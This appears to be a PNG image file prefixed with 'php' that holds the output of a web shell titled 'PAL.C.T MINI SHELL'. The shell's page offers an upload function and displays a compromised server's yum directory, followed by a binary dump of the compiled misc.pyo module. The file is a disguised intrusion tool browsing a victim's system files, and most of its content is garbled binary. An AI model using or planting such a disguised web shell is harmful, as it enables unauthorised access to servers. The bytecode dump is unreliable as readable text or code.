php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/site-packages/yum/
upload
files >> //usr/lib/python2.6/site-packages/yum/misc.pyo

[c)@sdZddkZddkZddkZddklZddkZddkZddkZddk	Z	ddk
Z
ddkZddkZddk
Z
ddkZddkZddkZddkZddkZddkZddgZyddkZeidWnej
o
dZnXddklZlZddkTyddkZddkZWnej
o
dZnXy4ddkZe d	d
ddd
gZ!dgZ"WnYej
oMddk#Z#ddk$Z$e d	d
gZ!d
gZ"ddPdYZnXddk
l%Z%ddk&l'Z'l(Z(ha)ha*dZ+dZ,da-dZ.da/dZ0dZ1dZ2da3dZ4dZ5dZ6ddQdYZ7ddRdYZ8dSdd!Z9d"Z:d#dTd$YZ;d%Z<e=d&Z>d'Z?d(Z@ddeAd)ZBd*ZCdd+ZDd,eAd-d.ZEd/ZFd0ZGd1ZHd2ZId3ZJd4ZKd5ZLd6ZMd7ZNd8ZOd9d:ZPd9d;ZQd<ZRd=iSd>eTd?DZUe=d@ZVdAZWdBZXdCZYdaZdDZ[ddk\Z\ddk]Z]eAe=dEZ^dFZ_dGZ`dHZadIZbde=e=dJZce=dKZdeAdLZedafdMZgdNZhdOZidS(Us%
Assorted utility functions for yum.
iN(tStringIOtgztbz2txz(tstringToVersiontflagToString(t*tmd5tsha1tsha256tsha384tsha512thashlibcBseZedZRS(cCs=|djotiS|djotiStddS(NRRsBad checksum type(Rtnewtshat
ValueError(talgo((s,/usr/lib/python2.6/site-packages/yum/misc.pyR
2s


(t__name__t
__module__tstaticmethodR
(((s,/usr/lib/python2.6/site-packages/yum/misc.pyR0s(t	MiscError(tto_utf8t
to_unicodecCsKt}t|to
t}nt|tijo|S|i||S(s Take a value and use the same value from the store,
        if the value isn't in the store this one becomes the shared version. (t_share_data_storet
isinstancetunicodet_share_data_store_uttypettypest	TupleTypet
setdefault(tvaluetstore((s,/usr/lib/python2.6/site-packages/yum/misc.pyt
share_dataBs
cCshahadS(N(RR(((s,/usr/lib/python2.6/site-packages/yum/misc.pytunshare_dataRscCs-tdjotidiant|S(s( Tests if a string is a shell wildcard. s[*?]|\[.+\]N(t_re_compiled_glob_matchtNonetretcompiletsearch(ts((s,/usr/lib/python2.6/site-packages/yum/misc.pytre_globYs
cCs-tdjotidiant|S(s Tests if a string could be a filename. We still get negated character
        classes wrong (are they supported), and ranges in character classes. s[/*?]|\[[^]]*/[^]]*\]N(t_re_compiled_filename_matchR$R%R&tmatch(R(((s,/usr/lib/python2.6/site-packages/yum/misc.pytre_filenamecs
cCs(t|otS|djotStS(s Tests if a filename string, can be matched against just primary.
        Note that this can produce false negatives (but not false
        positives). Note that this is a superset of re_primary_dirname(). s/usr/lib/sendmail(tre_primary_dirnametTruetFalse(tfilename((s,/usr/lib/python2.6/site-packages/yum/misc.pytre_primary_filenameks


cCs+d|jotS|idotStS(s~ Tests if a dirname string, can be matched against just primary. Note
        that this is a subset of re_primary_filename(). sbin/s/etc/(R.t
startswithR/(tdirname((s,/usr/lib/python2.6/site-packages/yum/misc.pyR-us

cCshtdjo4tidi}tidi}||fanx tD]}||otSqHWtS(sC Tests if a string needs a full nevra match, instead of just name. s.*([-.*?]|\[.+\]).s[0-9]+:N(t_re_compiled_full_matchR$R%R&R+R.R/(R(tonettwotrec((s,/usr/lib/python2.6/site-packages/yum/misc.pytre_full_search_neededs

	cCsO|i}|idotS|idotS|idotStS(s8 Tests if a string is a "remote" URL, http, https, ftp. shttp://shttps://sftp://(tlowerR2R.R/(R(((s,/usr/lib/python2.6/site-packages/yum/misc.pyt
re_remote_urlsc
Cs&t|}|djogSyt|}Wntj
onXt|Syt|}|iWntj
o
~nnX|d}d}}xM||jo?|||jo ||||<}|d7}n|d7}qW|| Sg}x,|D]$}||jo|i|qqW|S(sReturn a list of the elements in s, but without duplicates.

    For example, unique([1,2,3,1,2,3]) is some permutation of [1,2,3],
    unique("abcabc") some permutation of ["a", "b", "c"], and
    unique(([1, 2], [2, 3], [1, 2])) some permutation of
    [[2, 3], [1, 2]].

    For best speed, all sequence elements should be hashable.  Then
    unique() will usually work in linear time.

    If not possible, the sequence elements should enjoy a total
    ordering, and if list(s).sort() doesn't raise TypeError it's
    assumed that they do enjoy a total ordering.  Then unique() will
    usually work in O(N*log2(N)) time.

    If that's not possible either, the sequence elements must support
    equality-testing.  Then unique() will usually work in quadratic
    time.
    ii(tlentsett	TypeErrortlisttsorttappend(R(tntutttlasttlastititx((s,/usr/lib/python2.6/site-packages/yum/misc.pytuniques8

	



t	ChecksumscBszeZdZd
eedZdZeddZdZ	ddZ
d	Zd
d
ZdZ
d
dZRS(sn Generate checksum(s), on given pieces of data. Producing the
        Length and the result(s) when complete. cCs|djo
t}ng|_g|_d|_t}x|D]}|djo
d}n||joqBn|tjoti|}n|oqBnt	d||i
||ii||ii|qBW|o|o
t	dndS(NiRRs(Error Checksumming, bad checksum type %ss*Error Checksumming, no valid checksum type(R$t_default_checksumst	_sumalgost	_sumtypest_lenR<t_available_checksumsRR
RtaddR@(tselft	checksumstignore_missingtignore_nonetdonetsumtypetsumalgo((s,/usr/lib/python2.6/site-packages/yum/misc.pyt__init__s,

				





cCs|iS(N(RM(RP((s,/usr/lib/python2.6/site-packages/yum/misc.pyt__len__stfgetcCs|iS((RM(RP((s,/usr/lib/python2.6/site-packages/yum/misc.pyt<lambda>scCs:|it|7_x|iD]}|i|qWdS(N(RMR;RKtupdate(RPtdataRV((s,/usr/lib/python2.6/site-packages/yum/misc.pyR[s
iicCs |i|}|i||S(N(treadR[(RPtfotsizeR\((s,/usr/lib/python2.6/site-packages/yum/misc.pyR]s
cCs@h}x3t|i|iD]\}}|i||<qW|S(N(tzipRLRKt	hexdigest(RPtretRUtsumdata((s,/usr/lib/python2.6/site-packages/yum/misc.pyt
hexdigestss
cCsR|djo |ipdS|id}n|djo
d}n|i|S(NiRR(R$RLRd(RPtchecksum((s,/usr/lib/python2.6/site-packages/yum/misc.pyRas



cCs@h}x3t|i|iD]\}}|i||<qW|S(N(R`RLRKtdigest(RPRbRURc((s,/usr/lib/python2.6/site-packages/yum/misc.pytdigestss
cCsR|djo |ipdS|id}n|djo
d}n|i|S(NiRR(R$RLRg(RPRe((s,/usr/lib/python2.6/site-packages/yum/misc.pyRf!s



Ni(RRt__doc__R$R/RWRXtpropertytlengthR[R]RdRaRgRf(((s,/usr/lib/python2.6/site-packages/yum/misc.pyRIs					tAutoFileChecksumscBs2eZdZeedZdZddZRS(sk Generate checksum(s), on given file/fileobject. Pretending to be a file
        object (overrrides read). cCs"||_t||||_dS(N(t_foRIRQ(RPR^RQRRRS((s,/usr/lib/python2.6/site-packages/yum/misc.pyRW/s	cCst|i|S(N(tgetattrRl(RPtattr((s,/usr/lib/python2.6/site-packages/yum/misc.pyt__getattr__3sicCs|ii|i|S(N(RQR]Rl(RPR_((s,/usr/lib/python2.6/site-packages/yum/misc.pyR]6s(RRRhR/RWRoR](((s,/usr/lib/python2.6/site-packages/yum/misc.pyRk+s	iicCsyt|tijo
|}nt|d|}t|g}x:|i||o&|dj	o|i|joPqGqGWt|tijo|i	~n|dj	o(||ijod||i
|fS|i
|SWn(ttfj
o}t
d|nXdS(stakes filename, hand back Checksum of it
       sumtype = md5 or sha/sha1/sha256/sha512 (note sha == sha1)
       filename = /path/to/file
       CHUNK=65536 by defaulttrs!%u!%ss#Error opening file for checksum: %sN(RRtStringTypestopenRIR]R$Rjt
StringTypetcloseRatIOErrortOSErrorR(RUtfiletCHUNKtdatasizeR^R\te((s,/usr/lib/python2.6/site-packages/yum/misc.pyRe:s"


cCst|}yti|}Wn(tj
o}td||fnXx|D]}tii|d|ot|d|||}qQ|p||id|jo+tii	|d|}|i
|qQqQW|S(sfReturn all files in path matching ext, store them in filelist, 
       recurse dirs return list objects Error accessing directory %s, %st/s%s(R;tostlistdirRvRtpathtisdirtgetFileListR9tnormpathR@(R~texttfilelisttextlentdir_listRztdtnewpath((s,/usr/lib/python2.6/site-packages/yum/misc.pyRYs$t
GenericHoldercBs,eZdZddZdZdZRS(sGeneric Holder class used to hold other objects of known types
       It exists purely to be able to do object.somestuff, object.someotherstuff
       or object[key] and pass object to another function that will 
       understand itcCs
||_dS(N(t_GenericHolder__iter(RPtiter((s,/usr/lib/python2.6/site-packages/yum/misc.pyRWsscCs&|idj	ot||iSdS(N(RR$R(RP((s,/usr/lib/python2.6/site-packages/yum/misc.pyt__iter__vscCs+t||ot||St|dS(N(thasattrRmtKeyError(RPtitem((s,/usr/lib/python2.6/site-packages/yum/misc.pyt__getitem__zsN(RRRhR$RWRR(((s,/usr/lib/python2.6/site-packages/yum/misc.pyRms	cCstidd|}t}d}d}x|idD]}|ido
d}q:|o|idjo
d}q:|o|idoPq:|o|idoPq:|o|i|dq:q:Wti|i	S(	s-Convert ASCII armoured GPG key to binary
    s
?s
is$-----BEGIN PGP PUBLIC KEY BLOCK-----its"-----END PGP PUBLIC KEY BLOCK-----t=(
R%tsubRtsplitR2tstriptwritetbase64tdecodestringtgetvalue(trawkeytblocktinblocktpastheaderstline((s,/usr/lib/python2.6/site-packages/yum/misc.pyt
procgpgkeys"	

c
Csg}yti|}Wn'tj
o}tt|nXt|djotdnx|D]}|ii}h|id6t	i
d|dd6|iid6|iid6|i
d6td	6td
6}x|idD]}t|tipqn|i|joPt|do<|iti}	|	d
jot|	d|d<PqhqlqqW|i|qmW|o|S|dSd
S(sReturn a dict of info for the given ASCII armoured key text

    Returned dict will have the following keys: 'userid', 'keyid', 'timestamp'

    Will raise ValueError if there was a problem decoding the key.
    isNo key found in given key datatuserids>Qtkeyidt	timestamptfingerprinttraw_keythas_sigt	valid_sigthashed_subpaksiN(tpgpmsgtdecode_multiple_keyst	ExceptionRtstrR;t
public_keytkey_idtuser_idtstructtunpackRRRR/tuser_idsRt	signatureRtget_hashed_subpaktSIG_SUB_TYPE_CREATE_TIMER$tintR@(
Rtmultiplet
key_info_objstkeysRztkeyt
keyid_blobtinfoRttspkt((s,/usr/lib/python2.6/site-packages/yum/misc.pyt
getgpgkeyinfos@





cCsd|d@S(s[Convert an integer representing a GPG key ID to the hex version string
    used by RPM
    s%08xl((R((s,/usr/lib/python2.6/site-packages/yum/misc.pyt
keyIdToRPMVerscCs}t|}xj|iddD]V}|d|jo?t|dd}||jodS||jodSdSqqWd	S(
sd
    Return if the GPG key described by the given keyid and timestamp are
    installed in the rpmdb.  

    The keyid and timestamp should both be passed as integers.
    The ts is an rpm transaction set object

    Return values:
        - -1      key is not installed
        - 0       key with matching ID and timestamp is installed
        - 1       key with matching ID is installed but has a older timestamp
        - 2       key with matching ID is installed but has a newer timestamp

    No effort is made to handle duplicates. The first matching keyid is used to 
    calculate the return result.
    tnames
gpg-pubkeytversiontreleaseiiiii(RtdbMatchR(ttsRRthdrtinstalledts((s,/usr/lib/python2.6/site-packages/yum/misc.pytkeyInstalleds

cCstdjotS|pd|}ntii|pti|nt|}|tid<ti	}t
tii|dd}|id|i
|i||i
|i|}tii||ti|o|d}	tii|	pti|	ddx[ti|d	D]F}
tii|
}|	d
|}ti|
|ti|dq/Wt
|	ddd}d
}
|i|
|i
qntS(Ns	%s/gpgdirt	GNUPGHOMEsgpg.conftwbRs-rotmodeis/*R{s	/gpg.conftwslock-never    
no-auto-check-trustdb    
trust-model direct
no-expensive-trust-checks
no-permission-warning         
preserve-permissions
(tgpgmeR$R/R|R~texiststmakedirsRtenvirontContextRrtjoinRRttimport_tget_keyteditutilt
edit_trusttVALIDITY_ULTIMATEtglobtbasenametshutiltcopytchmodR.(RRtcachedirtgpgdirtmake_ro_copytkey_fotctxtfptktrodirtfRtro_ftopts((s,/usr/lib/python2.6/site-packages/yum/misc.pytimport_key_to_pubrings>







cCstdjptii|ogS|tid<ti}g}xF|iD]8}x/|iD]$}|i	o|i
|iqbqbWqRW|S(NR(RR$R|R~RRRtkeylisttsubkeystcan_signR@R(RRtkeyidsRtsubkey((s,/usr/lib/python2.6/site-packages/yum/misc.pytreturn_keyids_from_pubring(s!



c
Cs(tdjotS|o)tii|ptS|tid<nt|do
|}nt|d}t|do
|}nt|d}d}ti	}y|i
|||}Wntij
o
}tSX|ptS|d}	|	ptS|	iti
titifjotStS(sAtakes signature , file that was signed and an optional gpghomedirRR]RpiN(RR$R/R|R~RRRRrRtverifyt
GpgmeErrortvalidityt
VALIDITY_FULLtVALIDITY_MARGINALRR.(
tsig_filetsigned_filetgpghometsigtsigned_textt	plaintextRtsigsRztthissig((s,/usr/lib/python2.6/site-packages/yum/misc.pytvalid_detached_sig6s6



s/var/tmpsyum-c
Csti}yti|}|d}Wntj
odSX|od||f}d||f}tti|}x_|D]S}ti|}	t	|	do-t
|	ddjo|	d|jo|SqWntid|d|}
|
S(	sqreturn a path to a valid and safe cachedir - only used when not running
       as root or when --tempcache is setis%s%s-s%s/%s*iitprefixtdirN(
R|tgeteuidtpwdtgetpwuidRR$tsortedRtlstattS_ISDIRtS_IMODEttempfiletmkdtemp(ttmpdirtreuseRtuidtusertuptusernametdirpatht	cachedirstthisdirtstatsR((s,/usr/lib/python2.6/site-packages/yum/misc.pytgetCacheDir^s"9
cCs8|i|ijodS|i|ijodSdSdS(s+sorts a list of yum package objects by nameiiiN(R(tpkg1tpkg2((s,/usr/lib/python2.6/site-packages/yum/misc.pyt
sortPkgObjws
cCsr|ig}|d}xR|D]J}|i|o|g}|}q |i|o|i|q q W|S(s, Return the newest in the list of packages. i(tpoptverGTtverEQR@(tpkgsRbtnewesttpkg((s,/usr/lib/python2.6/site-packages/yum/misc.pytnewestInLists
	
cCsv|\}}}d}|djo|d|7}n|dj	o|d|7}n|dj	o|d|7}n|S(	s
    Convert a tuple representing a package version to a string.

    @param evrTuple: A 3-tuple of epoch, version, and release.

    Return the string representation of evrTuple.
    Rit0s%s:s%ss-%sN(iRN(R$(tevrTupleRztvRpR(((s,/usr/lib/python2.6/site-packages/yum/misc.pytversion_tuple_to_strings


cCse|\}}}hdd6dd6dd6dd6d	d
6}|djo|Sd|||t|fS(
s7returns a text string of the prco from the tuple formatt>tGTs>=tGERtEQt<tLTs<=tLEs%s %s %sN(R$R(t	prcoTupleRtflagtevrtflags((s,/usr/lib/python2.6/site-packages/yum/misc.pytprco_tuple_to_strings
)
c	Cst|tijo|\}}}ni|}d}}|ddjoG|ido6|i}t|djo|\}}}qn|dj	oy|tijoi|ti	joHyt
t|}Wqtt
fj
o}tid|qXqti	|}nt|tititifjot|\}}}n3t|titifjo|\}}}n|||||ffS(s:returns a prco tuple (name, flags, (e, v, r)) for a stringiR{sgpg(isInvalid version flag: %sN(RRRR$R2RR;t	constantstLETTERFLAGStSYMBOLFLAGSRRRR=tErrorsRRstNoneTypetUnicodeTypeRtListType(	t
prcoStringRARRt
prco_splitRztprco_etprco_vtprco_r((s,/usr/lib/python2.6/site-packages/yum/misc.pytstring_to_prco_tuples(
"%cCs9tid|oti|}nti|}|S(smTakes a search string from the cli for Search or Provides
       and cleans it up so it doesn't make us vomits[*{}?+]|\[.+\](R%R'tfnmatcht	translatetescape(targtrestring((s,/usr/lib/python2.6/site-packages/yum/misc.pytrefineSearchPatternsc	CsM|tjod|}ti|n|djoti|d}nG|djoti|d}n$|djoti|d}nt	|d}xt
oy|id}Wntj
oPnX|pPny|i
|Wqttfj
o+}d|t|f}ti|qXqW|i|idS(	Ns%s compression not availableRRpRRRisError writing to file %s: %s(t_available_compressionR,RRtBZ2FiletlzmatLZMAFiletgziptGzipFileRrR.R]RuRRvRRt(tsourcetdesttztypetmsgts_fntdestinationR\Rz((s,/usr/lib/python2.6/site-packages/yum/misc.pyt_decompress_chunkeds2





cCst||dddS(s1 Extract the bzipped contents of source to dest. RDRN(RH(RBRC((s,/usr/lib/python2.6/site-packages/yum/misc.pyt
bunzipFilescCstid}ttid|}x|D]z}|id|}x_|D]W}|d}|dd
jo
d}n
t|}|d|d||d|d	fSWq0WdS(s}This takes the output of uname and figures out the pkgtup of the running
       kernel (name, arch, epoch, version, release).is/boot/vmlinuz*%s*t	basenamestepochRRtarchRRN(NNNNN(R|tunameRRRR$R(RtvertfnstfntmithRz((s,/usr/lib/python2.6/site-packages/yum/misc.pytget_running_kernel_pkgtups

(cCs4t|}|ddj	o|d|dfSdS(sgThis takes the output of uname and figures out the (version, release)
    tuple for the running kernel.iiiN(NN(RSR$(Rtpkgtup((s,/usr/lib/python2.6/site-packages/yum/misc.pyt"get_running_kernel_version_releasess/var/lib/yumc	Csg}d|df}d|df}ti|}ti|}xV|D]N}|idoqKntii|}|idd}|i|qKW|i|S(sreturns a list of the timestamps from the filenames of the unfinished 
       transactions remaining in the yumlibpath specified.
    s%s/%sstransaction-all*stransaction-done*tdisabledstransaction-all.R(RtendswithR|R~RtreplaceR@R?(	t
yumlibpatht
timestampsttsallgttsdonegttsallsttsdonesRPttransR((s,/usr/lib/python2.6/site-packages/yum/misc.pytfind_unfinished_transactionss
c	Csog}d|d|f}d|d|f}g}tii|p|Stii|o)t|d}|i}|int|d}|i}|ix/|D]'}	|	|joqn|i|	qWx|D]}	|	idd}	|	djoqny|	i\}
}Wn+t	j
o}d|}
t
i|
nX|i|
|fqW|S(sthis function takes the timestamp of the transaction to look at and 
       the path to the yum lib dir (defaults to /var/lib/yum)
       returns a list of tuples(action, pkgspec) for the unfinished transaction
       elements. Returns an empty list if none.

    s%s/%s.%sstransaction-allstransaction-doneRps
Rs(Transaction journal  file %s is corrupt.(
R|R~RRrt	readlinesRttremoveRXRRR,RR@(RRYtto_complete_itemst	tsallpatht
tsdonepathttsdone_itemst	tsdone_fottsall_fottsall_itemsRtactiontpkgspecRzRE((s,/usr/lib/python2.6/site-packages/yum/misc.pytfind_ts_remaining-s<



cCsg}t|}t|}d}xD||jo6||}|i|||!||7}||8}q'W|i|||S(sE Given a seq, split into a list of lists of length max_entries each. i(R;R>R@(tseqtmax_entriesRbtnumtbegtend((s,/usr/lib/python2.6/site-packages/yum/misc.pyt
seq_max_split[s


Rccs0x)|]"}|djot|VqqWdS(i	i
i
N(i	i
i
(tchr(t.0RF((s,/usr/lib/python2.6/site-packages/yum/misc.pys	<genexpr>is	i cCs(t|tjoCyt|dWqtj
ot|did}qXnLt|tjo|id}n&|djodStdt||i}|i	dt
}|idd}|idd}|id	d
}|o(|idd}|id
d}n|S(s_ Returns xml-friendly utf-8 encoded string.
        Accepts utf-8, iso-8859-1, or unicode.
    sutf-8s
iso-8859-1RsString expected, got %st&s&amp;R!s&lt;Rs&gt;t"s&quot;t's&apos;N(RRRtUnicodeDecodeErrortencodeR$RtreprtrstripR7t_deletecharsRX(Rtattrib((s,/usr/lib/python2.6/site-packages/yum/misc.pytto_xmlks&!
cCsGyti|Wn/tj
o#}|itijoqCnXdS(s| Call os.unlink, but don't die if the file isn't there. This is the main
        difference between "rm -f" and plain "rm". N(R|tunlinkRvterrnotENOENT(R0Rz((s,/usr/lib/python2.6/site-packages/yum/misc.pytunlink_fs
cCsQyti|SWn9tj
o-}|ititifjondSXdS(sF Call os.stat(), but don't die if the file isn't there. Returns None. N(R|tstatRvRRtENOTDIRR$(R0Rz((s,/usr/lib/python2.6/site-packages/yum/misc.pytstat_fscCs\ytd}Wntj
odSX|i}yt|SWntj
odSXdS(s Get the audit-uid/login-uid, if available. None is returned if there
        was a problem. Note that no caching is done here. s/proc/self/loginuidN(RrRuR$R]RR(R^R\((s,/usr/lib/python2.6/site-packages/yum/misc.pyt_getloginuidscCstdjo
tantS(s Get the audit-uid/login-uid, if available. None is returned if there
        was a problem. The value is cached, so you don't have to save it. N(t_cached_getloginuidR$R(((s,/usr/lib/python2.6/site-packages/yum/misc.pytgetloginuids

cCsy5titid|otitidnWnEtij
o6}tidIJdtid<titidnX|o2dddY}|ti	ti
t_	ndS(NRtCs%Failed to set locale, defaulting to CtLC_ALLt
UnicodeStreamcBs#eZdZdZdZRS(cSs||_||_dS(N(tstreamtencoding(RPRR((s,/usr/lib/python2.6/site-packages/yum/misc.pyRWs	cSs=t|to|i|id}n|ii|dS(NRX(RRRyRRR(RPR(((s,/usr/lib/python2.6/site-packages/yum/misc.pyRscSst|i|S(N(RmR(RPR((s,/usr/lib/python2.6/site-packages/yum/misc.pyRos(RRRWRRo(((s,/usr/lib/python2.6/site-packages/yum/misc.pyRs		((tlocalet	setlocaleRtLC_TIMEtErrortsyststderrR|Rtstdouttgetpreferredencoding(toverride_codecst
override_timeRzR((s,/usr/lib/python2.6/site-packages/yum/misc.pytsetup_locales


cCs^ytiti}Wntj
o}d}nX|djo
d}ndi|}|S(NRt.(NN(NN(Rt	getlocaletLC_MESSAGESRR$R(tmylangRz((s,/usr/lib/python2.6/site-packages/yum/misc.pytget_my_lang_codes

cCsiti}g}xPtidD]?}|tii|joq"n|itii|q"W|S(s5return list of running processids, excluding this ones/proc/[0123456789]*(R|tgetpidRR~RR@(tmypidtpidsRP((s,/usr/lib/python2.6/site-packages/yum/misc.pytreturn_running_pidssc
Cs~g}d|}yt|d}Wnttfj
o
}|SXx|D]}|iddjoqIn|idd}|id}||}|idd}|i}||jo|i|qIqIWd	|}yt|d}	Wnttfj
o
}|SX|	i}
|
id
djoE|
id
}x3|D]'}|i	do|i|qKqKWn|S(s returns files open from this pids
/proc/%s/mapsRpsfd:is
RR{s	(deleted)s/proc/%s/cmdlinet(
RrRuRvtfindRXRR@R]RR2(
tpidtfilestmaps_ftmapsRzRtslashR0tcli_ftclitcmdlinetcmdsRF((s,/usr/lib/python2.6/site-packages/yum/misc.pytget_open_filess<



c
Cstii|ot|diSyddkl}Wn(tj
otddi}nXt|}y4t|d}|i	||i
|iWntt
fj
o	}nX|SdS(swcreate, store and return a uuid. If a stored one exists, report that
       if it cannot be stored, return a random oneRpi(tuuid4s/proc/sys/kernel/random/uuidRN(R|R~RRrR]tuuidRtImportErrorRRtflushRtRuRv(tsavepathRtmyidtsfRz((s,/usr/lib/python2.6/site-packages/yum/misc.pytget_uuids

cCs|}|p
|}n|ido'd}|p|idd}qn|idp|idoMd}|p<|ido|idd}q|idd}qnD|ido'd}|p|idd}qn
|}d	}|o|o|oBt|}t|}|o|o|i|ijo|Snt||||o'|o ti||i|ifqn|S(
s|take a filename and decompress it into the same relative location.
       if the file is not compressed just return the files.gzRRs.bzs.bz2Rs.xzRN(RWRXR$Rtst_mtimeRHR|tutime(R0RCtfn_onlytcheck_timestampstoutRDtfiR^((s,/usr/lib/python2.6/site-packages/yum/misc.pyt
decompress's:
 !	$cCsptii|}|d7}tii|pti|ddn|d|7}t|d|dtd|S(s This is a wrapper around decompress, where we work out a cached
        generated name, and use check_timestamps. filename _must_ be from
        a repo. and generated_name is the type of the file. s/genRiR{RCRR(R|R~R3RRRR.(R0tgenerated_nametcachedRC((s,/usr/lib/python2.6/site-packages/yum/misc.pytrepo_gen_decompressRs
cCsg}xti|D]}xt|D]}tid|oq)n|i}|i}|pq)n|o>|idd}|idd}|i|iq)n|i	|q)WqW|S(s'takes a glob of a dir (like /etc/foo.d/*.foo)
       returns a list of all the lines in all the files matching
       that glob, ignores comments and blank lines,
       optional paramater 'line_as_list tells whether to
       treat each line as a space or comma-separated list, defaults to Trues\s*(#|$)s
t t,(
RRrR%R+R{tlstripRXtextendRR@(tthisglobtline_as_listtresultstfnameR((s,/usr/lib/python2.6/site-packages/yum/misc.pytread_in_items_from_dot_dir]s$
cCsQtdjo@yddkl}Wntj
oddk}nX|andS(s Importing xElementTree all the time, when we often don't need it, is a
        huge timesink. This makes python -c 'import yum' suck. So we hide it
        behind this function. And have accessors. i(tcElementTreeN(t__cached_cElementTreeR$t	xml.etreeRR(R((s,/usr/lib/python2.6/site-packages/yum/misc.pyt_cElementTree_importus
cCstti|S(s) Lazily load/run: cElementTree.iterparse (RRt	iterparse(R0((s,/usr/lib/python2.6/site-packages/yum/misc.pytcElementTree_iterparsescCstti|S(s% Lazily load/run: cElementTree.parse (RRtparse(R0((s,/usr/lib/python2.6/site-packages/yum/misc.pytcElementTree_xmlparses(((i((jRhRR|tos.patht	cStringIORRRR%RR,R)RRRRR6RR@RR<R>R@RR$trpmUtils.miscutilsRRRRtgpgme.editutilRR<RNRJRRRti18nRRRRR!R"R#R)R*R,R1R-R4R8R:RHRIRkReRRRR/RRRR.RRRRRRRR(R5R;RHRIRSRUR`RlRrRtrangeR|R~RRRRRRRRRRRRRRRRRRR(((s,/usr/lib/python2.6/site-packages/yum/misc.pyt<module>s

	
						
					BM		2		!1	(					
	#		!			.	!						
	
	
	#	+		
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`